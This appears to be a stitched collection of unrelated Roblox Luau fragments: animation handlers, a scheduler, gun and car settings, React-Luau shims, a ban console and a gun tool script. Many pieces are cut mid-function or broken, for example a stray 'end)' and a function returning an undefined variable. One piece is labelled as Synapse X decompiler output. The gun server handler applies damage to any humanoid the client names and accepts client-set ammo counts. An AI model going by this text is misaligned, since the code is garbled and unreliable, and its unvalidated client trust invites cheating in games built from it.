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-- ANimation
local Sound = script:WaitForChild("Haoshoku Sound") UIS.InputBegan:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.X and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = 2 Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge) Track1:Play() script.RemoteEventS:FireServer() for i = 1,math.huge do if Debounce == 2 then plr.Character.HumanoidRootPart.CFrame = CFrame.new(plr.Character.HumanoidRootPart.Position, Mouse.Hit.p) plr.Character.HumanoidRootPart.Anchored = true else break end wait() end end end) UIS.InputEnded:Connect(function(Input) if Input.KeyCode == Enum.KeyCode.X and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then Debounce = 3 local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease) Track2:Play() Track1:Stop() Sound:Play() local mousepos = Mouse.Hit script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p) wait(0.5) Track2:Stop() plr.Character.HumanoidRootPart.Anchored = false local hum = plr.Character.Humanoid for i = 1,35 do wait() hum.CameraOffset = Vector3.new(math.random(-0.5,0.5),math.random(-0.5,0.5),math.random(-0.5,0.5)) end hum.CameraOffset = Vector3.new(0,0,0) Tool.Active.Value = "None" wait(3) Debounce = 1 end end)
--------------- --| Utility |-- ---------------
local math_min = math.min local math_max = math.max local math_cos = math.cos local math_sin = math.sin local math_pi = math.pi local Vector3_new = Vector3.new local function AssertTypes(param, ...) local allowedTypes = {} local typeString = '' for _, typeName in pairs({...}) do allowedTypes[typeName] = true typeString = typeString .. (typeString == '' and '' or ' or ') .. typeName end local theType = type(param) assert(allowedTypes[theType], typeString .. " type expected, got: " .. theType) end
--[[** Schedules a function to be executed after DelayTime seconds have passed, without yielding the current thread. This function allows multiple Lua threads to be executed in parallel from the same stack. Unlike regular delay, this does not use the legacy scheduler and also allows passing arguments. @param [t:numberMin<0>] DelayTime The amount of time before the function will be executed. @param [t:callback] Function The function you are executing. @param [variant] ... The optional arguments you can pass that the function will execute with. @returns [void] **--]]
function Scheduler.Delay(DelayTime, Function, ...) assert(DelayTuple(DelayTime, Function)) local Length = select("#", ...) if Length > 0 then local Arguments = {...} local ExecuteTime = tick() + DelayTime local Connection Connection = Heartbeat:Connect(function() if tick() >= ExecuteTime then Connection:Disconnect() Function(table.unpack(Arguments, 1, Length)) end end) return Connection else local ExecuteTime = tick() + DelayTime local Connection Connection = Heartbeat:Connect(function() if tick() >= ExecuteTime then Connection:Disconnect() Function() end end) return Connection end end
-- ==================== -- BASIC -- A basic settings for the gun -- ====================
Auto = true; MuzzleOffset = Vector3.new(0, 0.625, 1.25); BaseDamage = 40; FireRate = 0.08; --In second ReloadTime = 2; --In second AmmoPerClip = 30; --Put "math.huge" to make this gun has infinite ammo and never reload Spread = 1.25; --In degree HeadshotEnabled = true; --Enable the gun to do extra damage on headshot HeadshotDamageMultiplier = 1.5; MouseIconID = "316279304"; HitSoundIDs = {186809061,186809249,186809250,186809252}; IdleAnimationID = 94331086; --Set to "nil" if you don't want to animate IdleAnimationSpeed = 1; FireAnimationID = 94332152; --Set to "nil" if you don't want to animate FireAnimationSpeed = 6; ReloadAnimationID = nil; --Set to "nil" if you don't want to animate ReloadAnimationSpeed = 1;
--== Helper functions ==--
function StartCar() wait(delayToStartEngine) script.Parent.IsOn.Value = true wait(delayToStopStartupSound) end function StopCar() script.Parent.IsOn.Value = false end
--[[ Races a set of Promises and returns the first one that resolves, cancelling the others. ]]
function Promise.race(promises) assert(type(promises) == "table", "Please pass a list of promises to Promise.race") for i, promise in ipairs(promises) do assert(Promise.is(promise), ("Non-promise value passed into Promise.race at index #%d"):format(i)) end return Promise.new(function(resolve, reject, onCancel) local function finalize(callback) return function (...) for _, promise in ipairs(promises) do promise:cancel() end return callback(...) end end onCancel(finalize(reject)) for _, promise in ipairs(promises) do promise:andThen(finalize(resolve), finalize(reject)) end end) end
-- Wait for the player if LocalPlayer wasn't ready earlier
while not Player do wait() Player = PlayersService.LocalPlayer end
-- ROBLOX: use patched console from shared
local console = require(Packages.Shared).console local ReactSymbols = require(Packages.Shared).ReactSymbols local isValidElementType = require(Packages.Shared).isValidElementType local exports = {} exports.typeOf = function(object: any) if typeof(object) == "table" and object ~= nil then local __typeof = object["$$typeof"] if __typeof == ReactSymbols.REACT_ELEMENT_TYPE then local __type = object.type if __type == ReactSymbols.REACT_FRAGMENT_TYPE or __type == ReactSymbols.REACT_PROFILER_TYPE or __type == ReactSymbols.REACT_STRICT_MODE_TYPE or __type == ReactSymbols.REACT_SUSPENSE_TYPE or __type == ReactSymbols.REACT_SUSPENSE_LIST_TYPE then return __type else -- deviation: We need to check that __type is a table before we -- index into it, or Luau will throw errors local __typeofType = __type and typeof(__type) == "table" and __type["$$typeof"] if __typeofType == ReactSymbols.REACT_CONTEXT_TYPE or __typeofType == ReactSymbols.REACT_FORWARD_REF_TYPE or __typeofType == ReactSymbols.REACT_LAZY_TYPE or __typeofType == ReactSymbols.REACT_MEMO_TYPE or __typeofType == ReactSymbols.REACT_PROVIDER_TYPE then return __typeofType else return __typeof end end elseif __typeof == ReactSymbols.REACT_PORTAL_TYPE -- ROBLOX deviation: Bindings are a feature migrated from Roact or __typeof == ReactSymbols.REACT_BINDING_TYPE then return __typeof end end return nil end exports.ContextConsumer = ReactSymbols.REACT_CONTEXT_TYPE exports.ContextProvider = ReactSymbols.REACT_PROVIDER_TYPE exports.Element = ReactSymbols.REACT_ELEMENT_TYPE exports.ForwardRef = ReactSymbols.REACT_FORWARD_REF_TYPE exports.Fragment = ReactSymbols.REACT_FRAGMENT_TYPE exports.Lazy = ReactSymbols.REACT_LAZY_TYPE exports.Memo = ReactSymbols.REACT_MEMO_TYPE exports.Portal = ReactSymbols.REACT_PORTAL_TYPE exports.Profiler = ReactSymbols.REACT_PROFILER_TYPE exports.StrictMode = ReactSymbols.REACT_STRICT_MODE_TYPE exports.Suspense = ReactSymbols.REACT_SUSPENSE_TYPE exports.Binding = ReactSymbols.REACT_BINDING_TYPE exports.isValidElementType = isValidElementType local hasWarnedAboutDeprecatedIsAsyncMode = false local hasWarnedAboutDeprecatedIsConcurrentMode = false -- AsyncMode should be deprecated exports.isAsyncMode = function(object: any) if _G.__DEV__ then if not hasWarnedAboutDeprecatedIsAsyncMode then hasWarnedAboutDeprecatedIsAsyncMode = true -- Using console['warn'] to evade Babel and ESLint console["warn"]( "The ReactIs.isAsyncMode() alias has been deprecated, " .. "and will be removed in React 18+." ) end end return false end exports.isConcurrentMode = function(object: any) if _G.__DEV__ then if not hasWarnedAboutDeprecatedIsConcurrentMode then hasWarnedAboutDeprecatedIsConcurrentMode = true -- Using console['warn'] to evade Babel and ESLint console["warn"]( "The ReactIs.isConcurrentMode() alias has been deprecated, " .. "and will be removed in React 18+." ) end end return false end exports.isContextConsumer = function(object: any) return exports.typeOf(object) == ReactSymbols.REACT_CONTEXT_TYPE end exports.isContextProvider = function(object: any) return exports.typeOf(object) == ReactSymbols.REACT_PROVIDER_TYPE end exports.isElement = function(object: any) return ( (typeof(object) == "table" and object ~= nil) and object["$$typeof"] == ReactSymbols.REACT_ELEMENT_TYPE ) end exports.isForwardRef = function(object: any) return exports.typeOf(object) == ReactSymbols.REACT_FORWARD_REF_TYPE end exports.isFragment = function(object: any) return exports.typeOf(object) == ReactSymbols.REACT_FRAGMENT_TYPE end exports.isLazy = function(object: any) return exports.typeOf(object) == ReactSymbols.REACT_LAZY_TYPE end exports.isMemo = function(object: any) return exports.typeOf(object) == ReactSymbols.REACT_MEMO_TYPE end exports.isPortal = function(object: any) return exports.typeOf(object) == ReactSymbols.REACT_PORTAL_TYPE end exports.isProfiler = function(object: any) return exports.typeOf(object) == ReactSymbols.REACT_PROFILER_TYPE end exports.isStrictMode = function(object: any) return exports.typeOf(object) == ReactSymbols.REACT_STRICT_MODE_TYPE end exports.isSuspense = function(object: any) return exports.typeOf(object) == ReactSymbols.REACT_SUSPENSE_TYPE end
------------------------------------------------------------------------------------------ -- менятель размера Canvas от содержимого -- смена размера
local function UpdateSize() wait()--Ui list layouts can sometimes take time to update local cS = ui.AbsoluteContentSize --X = x pixels, Y = Y pixels sf.CanvasSize = UDim2.new(0,cS.X,0,cS.Y) --Change that UDim into a UDim2 end
--this returns a region3 that lines up on top of the baseplate to capture --whatever room has been constructed on top of it, it is smart enough --to capture a room that has been less-than-ideally set up
function RoomPackager:RegionsFromBasePlate(basePlate) local topCorners = self:TopCornersOfBasePlate(basePlate) --we farm the min and max x's and z's from the top corners --to get x and z coordinates for the region3 that will contain the room --we choose an arbitrary corner so that the initial values are in the data set local arbitraryCorner = topCorners[1] local minX = arbitraryCorner.X local minZ = arbitraryCorner.Z local maxX = arbitraryCorner.X local maxZ = arbitraryCorner.Z for _, corner in pairs(topCorners) do minX = math.min(minX, corner.X) minZ = math.min(minZ, corner.Z) maxX = math.max(maxX, corner.X) maxZ = math.max(maxZ, corner.Z) end --construct the region using these new corners we have constructed --keeping in mind that all corners in topCorners *should* have the same y value local minY = topCorners[1].Y local lowerCorner = Vector3.new(minX, minY, minZ) local maxY = minY + 70 local upperCorner = Vector3.new(maxX, maxY, maxZ) local segmentHeight = math.floor(100000/(math.abs(maxX-minX)*math.abs(maxZ-minZ))) local regions = {} local currentHeight = minY while currentHeight - minY < 70 do currentHeight = currentHeight + segmentHeight lowerCorner = Vector3.new(lowerCorner.x, currentHeight - segmentHeight, lowerCorner.z) upperCorner = Vector3.new(upperCorner.x, currentHeight, upperCorner.z) table.insert(regions, Region3.new(lowerCorner, upperCorner)) end return regions end
--for halloween candy
local yum = script:WaitForChild("Yum") yum.Parent = script.Parent debounce = false function touched(hit) if not debounce and hit and hit.Parent and hit.Parent:FindFirstChild("Humanoid") then local player = game.Players:GetPlayerFromCharacter(hit.Parent) if player then debounce = true if player.Character:FindFirstChild("Bucket") then local bucket = player.Character.Bucket delay(.2,function() player.Character.Humanoid:EquipTool(bucket) end) end script.Parent.Parent.Parent = player.Backpack wait(2) debounce = false end end end script.Parent.Touched:connect(touched) function Activated() yum:Play() wait(.1) script.Parent.Parent:Destroy() end script.Parent.Parent.Activated:connect(Activated)
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = -9 Tune.RCamber = -3 Tune.FCaster = 0 Tune.FToe = 0 Tune.RToe = 0
-- @outline // RUNNERS
function Controller.ClientUpdate(dt : number) if not Controller.Enabled then return end --Controller:Update(dt) end return Controller
-- deviation: this lets us have the same functionality as in React, without -- having something like Babel to inject a different implementation of -- console.warn and console.error into the code -- Instead of using `LuauPolyfill.console`, React internals should use this -- wrapper to be able to use consoleWithStackDev in dev mode
local Shared = script.Parent local Packages = Shared.Parent local LuauPolyfill = require(Packages.LuauPolyfill) local console = LuauPolyfill.console local consoleWithStackDev = require(Shared.consoleWithStackDev) if _G.__DEV__ then local newConsole = setmetatable({ warn = consoleWithStackDev.warn, error = consoleWithStackDev.error, }, { __index = console, }) return newConsole end return console
-- ProductId 1218011291 for 100 Cash
developerProductFunctions[Config.DeveloperProductIds["100 Cash"]] = function(receipt, player) -- Logic/code for player buying 100 Cash (may vary) local leaderstats = player:FindFirstChild("leaderstats") local cash = leaderstats and leaderstats:FindFirstChild("Cash") if cash then if Utilities:OwnsGamepass(player, gamepassID) then cash.Value += 200 else cash.Value += 100 end -- Indicate a successful purchase return true end end
-- gets the index of the constant
function luaP:INDEXK(x) return x - self.BITRK end luaP.MAXINDEXRK = luaP.BITRK - 1
-- Decompiled with the Synapse X Luau decompiler.
local u1 = nil; coroutine.wrap(function() u1 = require(game.ReplicatedStorage:WaitForChild("Resources")); end)(); local v1 = {}; local l__Message__2 = u1.GUI.Message; local u3 = {}; local u4 = false; function v1.New(p1, ...) local v2 = { ... }; if u1.Variables.MessageOpen == true or u1.Variables.OpeningEgg == true then while true do u1.RenderStepped(); if u1.Variables.MessageOpen == false and u1.Variables.OpeningEgg == false then break; end; end; end; local v3 = false; if v2[1] == nil then v3 = v2[2] == nil; end; local v4 = false; if type(v2[1]) == "boolean" then v4 = v2[2] == nil; end; l__Message__2.No.Visible = false; l__Message__2.Ok.Visible = false; l__Message__2.Yes.Visible = false; l__Message__2.Cancel.Visible = false; l__Message__2.Option1.Visible = false; l__Message__2.Option2.Visible = false; l__Message__2.Desc.Text = p1; if not v3 then if v4 then l__Message__2.No.Visible = true; l__Message__2.Yes.Visible = true; elseif v2[1] and v2[2] then l__Message__2.Option1.Title.Text = v2[1]; l__Message__2.Option2.Title.Text = v2[2]; l__Message__2.Cancel.Visible = true; l__Message__2.Option1.Visible = true; l__Message__2.Option2.Visible = true; end; else l__Message__2.Ok.Visible = true; end; local v5 = Instance.new("BindableEvent"); if l__Message__2.No.Visible then local function u5() Close(); v5:Fire(false); end; u3[#u3 + 1] = l__Message__2.No.Activated:Connect(function() if u4 == false then u4 = true; u5(); u4 = false; end; end); end; if l__Message__2.Yes.Visible then local function u6() Close(); v5:Fire(true); end; u3[#u3 + 1] = l__Message__2.Yes.Activated:Connect(function() if u4 == false then u4 = true; u6(); u4 = false; end; end); end; if l__Message__2.Ok.Visible then local function u7() Close(); v5:Fire(true); end; u3[#u3 + 1] = l__Message__2.Ok.Activated:Connect(function() if u4 == false then u4 = true; u7(); u4 = false; end; end); end; if l__Message__2.Option1.Visible then local function u8() Close(); v5:Fire(1); end; u3[#u3 + 1] = l__Message__2.Option1.Activated:Connect(function() if u4 == false then u4 = true; u8(); u4 = false; end; end); end; if l__Message__2.Option2.Visible then local function u9() Close(); v5:Fire(2); end; u3[#u3 + 1] = l__Message__2.Option2.Activated:Connect(function() if u4 == false then u4 = true; u9(); u4 = false; end; end); end; if l__Message__2.Cancel.Visible then local function u10() Close(); v5:Fire(false); end; u3[#u3 + 1] = l__Message__2.Cancel.Activated:Connect(function() if u4 == false then u4 = true; u10(); u4 = false; end; end); end; if u1.Variables.Console then if l__Message__2.Ok.Visible then u1.GuiService.SelectedObject = l__Message__2.Ok; elseif l__Message__2.Yes.Visible then u1.GuiService.SelectedObject = l__Message__2.Yes; elseif l__Message__2.Option1.Visible then u1.GuiService.SelectedObject = l__Message__2.Option1; end; local u11 = false; u3[#u3 + 1] = u1.UserInputService.InputEnded:Connect(function(p2, p3) if not u11 then u11 = true; if p2.KeyCode == Enum.KeyCode.ButtonB then Close(); end; u11 = false; end; end); end; Open(); local v6 = v5.Event:Wait(); v5:Destroy(); return v6; end; function v1.IsOpen() return l__Message__2.Gui.Enabled; end; function Close() for v7, v8 in ipairs(u3) do if v7 then else break; end; v8:Disconnect(); end; u3 = {}; u1.Window.GuaranteeCloseCurrentWindow("Message") u1.Variables.MessageOpen = false; end; function Open() u1.Window.GuaranteeOpenWindow("Message") u1.Variables.MessageOpen = true; end; for v13, v14 in pairs(l__Message__2.Frame:GetChildren()) do if not v13 then break; end; v12 = v13; if v14.ClassName == "ImageButton" then u1.GFX.Button(v14); end; end; return v1;
--!strict
local function run(LightChanger, reverse) local lights = LightChanger:GetLights("Numbered") for groupNumber, lightGroup in lights do local angle = if groupNumber % 2 == 0 then 60 else 30 if reverse then if angle == 60 then angle = 30 else angle = 60 end end LightChanger:Tilt(angle, lightGroup) end end return function(LightChangerA, LightChangerB, reverse: boolean) run(LightChangerA, reverse) run(LightChangerB, reverse) end
-- these numbers are how long it takes to switch. the numbers are in 1.4 seconds(IE: 6 = 1 1/2 seconds)
switch1 = 1 switch2 = 1 switch3 = 1 switch4 = 1 switch5 = 1 switch6 = 1 script.Parent.Parent.Character.Humanoid.WalkSpeed = start while true do x = script.Parent.Parent.Character.Torso.Position wait(.25) if script.Parent.Parent.PlayerGui.Bars.Charging.Value == false then x = (script.Parent.Parent.Character.Torso.Position - x).Magnitude if x < 1 then script.Parent.Parent.Character.Humanoid.WalkSpeed = start up1 = 0 up2 = 0 up3 = 0 up4 = 0 print("To normal") end if x >= 3 then ch = math.random(1, 5) if ch == 1 then script.Parent.Parent.Data.Agility.AXP.Value = script.Parent.Parent.Data.Agility.AXP.Value + 50 end if script.Parent.Parent.Character.Humanoid.WalkSpeed == start then up1 = up1 + 1 if up1 == switch1 then script.Parent.Parent.Character.Humanoid.WalkSpeed = stage1 up1 = 0 print("Speed Up") end end if script.Parent.Parent.Character.Humanoid.WalkSpeed == stage1 then up2 = up2 + 1 if up2 == switch2 then script.Parent.Parent.Character.Humanoid.WalkSpeed = stage2 up2 = 0 print("Speed Up") end end if script.Parent.Parent.Character.Humanoid.WalkSpeed == stage2 then up3 = up3 + 1 if up3 == switch3 then script.Parent.Parent.Character.Humanoid.WalkSpeed = stage3 up3 = 0 print("Speed Up") end end if script.Parent.Parent.Character.Humanoid.WalkSpeed == stage3 then up4 = up4 + 1 if up4 == switch4 then script.Parent.Parent.Character.Humanoid.WalkSpeed = stage4 up4 = 0 print("Speed Up") end end if script.Parent.Parent.Character.Humanoid.WalkSpeed == stage4 then up5 = up5 + 1 if up5 == switch5 then script.Parent.Parent.Character.Humanoid.WalkSpeed = stage5 up5 = 0 print("Speed Up") end end if script.Parent.Parent.Character.Humanoid.WalkSpeed == stage5 then up6 = up6 + 1 if up6 == switch6 then script.Parent.Parent.Character.Humanoid.WalkSpeed = stage6 cha = math.random(1, 3) if cha == 1 then script.Parent.Parent.Data.Agility.AXP.Value = script.Parent.Parent.Data.Agility.AXP.Value + 16 else script.Parent.Parent.Data.Agility.AXP.Value = script.Parent.Parent.Data.Agility.AXP.Value + 5 end up6 = 0 print("Speed Up") end end end end end
-- 12
module.Genres.Building = 13 module.Genres.FPS = 14 module.Genres.RPG = 15 module.SortAggregation = {} module.SortAggregation.PastDay = 1
---------------------------------------------------
This = script.Parent Lift = This.Parent.Parent.Parent CustomLabel = require(Lift.CustomLabel) Characters = require(script.Characters) CharactersDOT = require(script.CharactersDOT) CustomText = CustomLabel["CUSTOMFLOORLABEL"] Lift:WaitForChild("Floor").Changed:connect(function(floor) --custom indicator code-- ChangeFloor(tostring(floor)) end) function ChangeFloor(SF) if CustomText[tonumber(SF)] then SF = CustomText[tonumber(SF)] end SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL")) SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF)) end function SetDisplay(ID,CHAR) if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then for i,l in pairs(Characters[CHAR]) do for r=1,15 do This.Display["DIG"..ID]["D"..r].BrickColor = BrickColor.new(l:sub(r,r) == "1" and "Pastel Blue" or "Black") end end end end function SetDisplayDOT(ID,CHAR) if This.Display:FindFirstChild("Matrix"..ID) and CharactersDOT[CHAR] ~= nil then for i,l in pairs(CharactersDOT[CHAR]) do for r=1,7 do This.Display["Matrix"..ID]["Row"..i]["D"..r].BrickColor = BrickColor.new(l:sub(r,r) == "1" and "Persimmon" or "Black") end end end end
--[[Engine]]
--Torque Curve Tune.Horsepower = 95 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 800 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 8000 -- Use sliders to manipulate values Tune.Redline = 9000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 6100 Tune.PeakSharpness = 3.8 Tune.CurveMult = 0.07 --Incline Compensation Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 450 -- RPM acceleration when clutch is off Tune.RevDecay = 150 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 0 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
-- Check if input is of correct types
function Input:_isMovement (input) return --input.UserInputType == Enum.UserInputType.Touch or input.UserInputType == Enum.UserInputType.MouseMovement; end function Input:_isDown (input) return input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch; end Input.__index = Input; return I;
-- Connect to the current and all future cameras
workspace.Changed:connect(OnWorkspaceChanged) OnWorkspaceChanged('CurrentCamera') Player.CharacterAdded:connect(OnCharacterAdded) if Player.Character then OnCharacterAdded(Player.Character) end Invisicam:SetMode(STARTING_MODE) Behaviors[MODE.CUSTOM] = function() end -- (Does nothing until SetCustomBehavior) Behaviors[MODE.LIMBS] = LimbBehavior Behaviors[MODE.MOVEMENT] = MoveBehavior Behaviors[MODE.CORNERS] = CornerBehavior Behaviors[MODE.CIRCLE1] = CircleBehavior Behaviors[MODE.CIRCLE2] = CircleBehavior Behaviors[MODE.LIMBMOVE] = LimbMoveBehavior return Invisicam
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") RunService = game:GetService("RunService") UserInputService = game:GetService("UserInputService") Animations = {} ServerControl = Tool:WaitForChild("ServerControl") ClientControl = Tool:WaitForChild("ClientControl") Rate = (1 / 60) ToolEquipped = false function SetAnimation(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then for i, v in pairs(Animations) do if v.Animation == value.Animation then v.AnimationTrack:Stop() table.remove(Animations, i) end end local AnimationTrack = Humanoid:LoadAnimation(value.Animation) table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack}) AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed) elseif mode == "StopAnimation" and value then for i, v in pairs(Animations) do if v.Animation == value.Animation then v.AnimationTrack:Stop(value.FadeTime) table.remove(Animations, i) end end end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") ToolEquipped = true if not CheckIfAlive() then return end PlayerMouse = Player:GetMouse() end function Unequipped() for i, v in pairs(Animations) do if v and v.AnimationTrack then v.AnimationTrack:Stop() end end Animations = {} ToolEquipped = false end function InvokeServer(mode, value) local ServerReturn pcall(function() ServerReturn = ServerControl:InvokeServer(mode, value) end) return ServerReturn end function OnClientInvoke(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then SetAnimation("PlayAnimation", value) elseif mode == "StopAnimation" and value then SetAnimation("StopAnimation", value) elseif mode == "MouseData" then return ((PlayerMouse and {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}) or nil) end end ClientControl.OnClientInvoke = OnClientInvoke Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
-- don't do nothin
end) gui.Frame.BanButton.Activated:connect(function() if requesting then return end requesting = true local result = rep.Events.ModAction:InvokeServer("ban",gui.Frame.InputBox.Text) if result then gui.Frame.Actions.Text = "Successfully banned "..gui.Frame.InputBox.Text else gui.Frame.Actions.Text = "Error, user not found" end gui.Frame.InputBox.Text = "" requesting = false end) gui.Frame.UnbanButton.Activated:connect(function() if requesting then return end requesting = true local result = rep.Events.ModAction:InvokeServer("unban",gui.Frame.InputBox.Text) if result then gui.Frame.Actions.Text = "Successfully unbanned "..gui.Frame.InputBox.Text else gui.Frame.Actions.Text = "Error, user not found" end gui.Frame.InputBox.Text = "" requesting = false end) gui.Frame.ExitButton.Activated:connect(function() gui.Frame.Visible = false end) gui.OpenButton.Activated:connect(function() gui.Frame.Visible = not gui.Frame.Visible end) rep.Events.PromptModConsole.OnClientEvent:connect(function() player.PlayerGui.ModConsole.Enabled = true end) gui.Frame.F9LogButton.Activated:connect(function() gui.Frame.Actions.Text = "Success, press F9 or access the dev console to view the mod log" local log = rep.Events.RequestModLog:InvokeServer() for _,entry in next,log do --[[ timeBanned = tick(), bannedName = targetName, bannedID = targetID, reason = "", --]] local temp = os.date("*t", entry.timeBanned) print(entry.action,entry.bannedName,"(id "..entry.bannedID..")","for reason:",entry.reason,"on",temp.month.."/"..temp.day.."/"..temp.year) end end)
--local Player --local Character --local Humanoid
local Module = require(Tool:WaitForChild("Setting")) local ChangeMagAndAmmo = script:WaitForChild("ChangeMagAndAmmo") local Grip2 local Handle2 local CoolDown = false local func= Tool.Events.punched function CoolDown2() wait(0.01) CoolDown = false end func.OnServerInvoke = function(plr, hum, dmg, tor) if not CoolDown then CoolDown = true Tool.Handle.Whip:Play() Tool.Assets.BloodPart.Blood:Emit(1.3) hum.Parent.Humanoid:TakeDamage(15) CoolDown2() end end function Equip() Tool.Barrel.Transparency = 1 Tool.BarrelOut.Transparency = 1 Tool.Handle.Transparency = 0 Tool.Part2.Transparency = 1 Tool.Part3.Transparency = 1 Tool.Part24.Transparency = 1 Tool.Part6.Transparency = 1 Tool.Part4.Transparency = 1 Tool.Part2.Transparency = 1 Tool.Shells.Transparency = 1 Tool.Trigger.Transparency = 1 wait(0.2) Tool.Barrel.Transparency = 0 Tool.BarrelOut.Transparency = 1 Tool.Handle.Transparency = 0 Tool.Part2.Transparency = 0 Tool.Part3.Transparency = 0 Tool.Part24.Transparency = 0 Tool.Part6.Transparency = 0 Tool.Part4.Transparency = 0 Tool.Part2.Transparency = 0 Tool.Shells.Transparency = 1 Tool.Trigger.Transparency = 0 wait(0.42) Tool.Handle.EquipSound:play() end if Module.DualEnabled then Handle2 = Tool:WaitForChild("Handle2",1) if Handle2 == nil and Module.DualEnabled then error("\"Dual\" setting is enabled but \"Handle2\" is missing!") end end local MagValue = script:FindFirstChild("Mag") or Instance.new("NumberValue",script) MagValue.Name = "Mag" MagValue.Value = Module.AmmoPerMag local AmmoValue = script:FindFirstChild("Ammo") or Instance.new("NumberValue",script) AmmoValue.Name = "Ammo" AmmoValue.Value = Module.LimitedAmmoEnabled and Module.Ammo or 0 if Module.IdleAnimationID ~= nil or Module.DualEnabled then local IdleAnim = Instance.new("Animation",Tool) IdleAnim.Name = "IdleAnim" IdleAnim.AnimationId = "rbxassetid://"..(Module.DualEnabled and 53610688 or Module.IdleAnimationID) end if Module.FireAnimationID ~= nil then local FireAnim = Instance.new("Animation",Tool) FireAnim.Name = "FireAnim" FireAnim.AnimationId = "rbxassetid://"..Module.FireAnimationID end if Module.ReloadAnimationID ~= nil then local ReloadAnim = Instance.new("Animation",Tool) ReloadAnim.Name = "ReloadAnim" ReloadAnim.AnimationId = "rbxassetid://"..Module.ReloadAnimationID end if Module.ShotgunClipinAnimationID ~= nil then local ShotgunClipinAnim = Instance.new("Animation",Tool) ShotgunClipinAnim.Name = "ShotgunClipinAnim" ShotgunClipinAnim.AnimationId = "rbxassetid://"..Module.ShotgunClipinAnimationID end if Module.HoldDownAnimationID ~= nil then local HoldDownAnim = Instance.new("Animation",Tool) HoldDownAnim.Name = "HoldDownAnim" HoldDownAnim.AnimationId = "rbxassetid://"..Module.HoldDownAnimationID end if Module.EquippedAnimationID ~= nil then local EquippedAnim = Instance.new("Animation",Tool) EquippedAnim.Name = "EquippedAnim" EquippedAnim.AnimationId = "rbxassetid://"..Module.EquippedAnimationID end ChangeMagAndAmmo.OnServerEvent:connect(function(Player,Mag,Ammo) MagValue.Value = Mag AmmoValue.Value = Ammo end) Tool.Equipped:connect(function() Equip() --Player = game.Players:GetPlayerFromCharacter(Tool.Parent) --Character = Tool.Parent --Humanoid = Character:FindFirstChild("Humanoid") if Module.DualEnabled and workspace.FilteringEnabled then Handle2.CanCollide = false local LeftArm = Tool.Parent:FindFirstChild("Left Arm") or Tool.Parent:FindFirstChild("LeftHand") local RightArm = Tool.Parent:FindFirstChild("Right Arm") or Tool.Parent:FindFirstChild("RightHand") if RightArm then local Grip = RightArm:WaitForChild("RightGrip",0.01) if Grip then Grip2 = Grip:Clone() Grip2.Name = "LeftGrip" Grip2.Part0 = LeftArm Grip2.Part1 = Handle2 --Grip2.C1 = Grip2.C1:inverse() Grip2.Parent = LeftArm end end end end) Tool.Unequipped:connect(function() Tool.Barrel.Transparency = 1 Tool.BarrelOut.Transparency = 1 Tool.Handle.Transparency = 1 Tool.Part2.Transparency = 1 Tool.Part3.Transparency = 1 Tool.Part24.Transparency = 1 Tool.Part6.Transparency = 1 Tool.Part4.Transparency = 1 Tool.Part2.Transparency = 1 Tool.Shells.Transparency = 1 Tool.Trigger.Transparency = 1 if Module.DualEnabled and workspace.FilteringEnabled then Handle2.CanCollide = false if Grip2 then Grip2:Destroy() end end end)
--// All global vars will be wiped/replaced except script --// All guis are autonamed codeName..gui.Name
return function(data) local player = service.Players.LocalPlayer local playergui = player.PlayerGui local gui = script.Parent.Parent local frame = gui.Frame local text = gui.Frame.TextBox local scroll = gui.Frame.ScrollingFrame local players = gui.Frame.PlayerList local entry = gui.Entry local BindEvent = gTable.BindEvent local opened = false local scrolling = false local debounce = false local settings = client.Remote.Get("Setting",{"SplitKey","ConsoleKeyCode","BatchKey","Prefix"}) local splitKey = settings.SplitKey local consoleKey = settings.ConsoleKeyCode local batchKey = settings.BatchKey local prefix = settings.Prefix local commands = client.Remote.Get('FormattedCommands') or {} local tweenInfo = TweenInfo.new(0.15)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end) local scrollOpenTween = service.TweenService:Create(frame, tweenInfo, { Size = UDim2.new(1, 0, 0, 140); }) local scrollCloseTween = service.TweenService:Create(frame, tweenInfo, { Size = UDim2.new(1, 0, 0, 40); }) local consoleOpenTween = service.TweenService:Create(frame, tweenInfo, { Position = UDim2.new(0, 0, 0, 0); }) local consoleCloseTween = service.TweenService:Create(frame, tweenInfo, { Position = UDim2.new(0, 0, 0, -200); }) frame.Position = UDim2.new(0,0,0,-200) frame.Visible = false frame.Size = UDim2.new(1,0,0,40) scroll.Visible = false if client.Variables.ConsoleOpen then if client.Variables.ChatEnabled then service.StarterGui:SetCoreGuiEnabled("Chat",true) end if client.Variables.PlayerListEnabled then 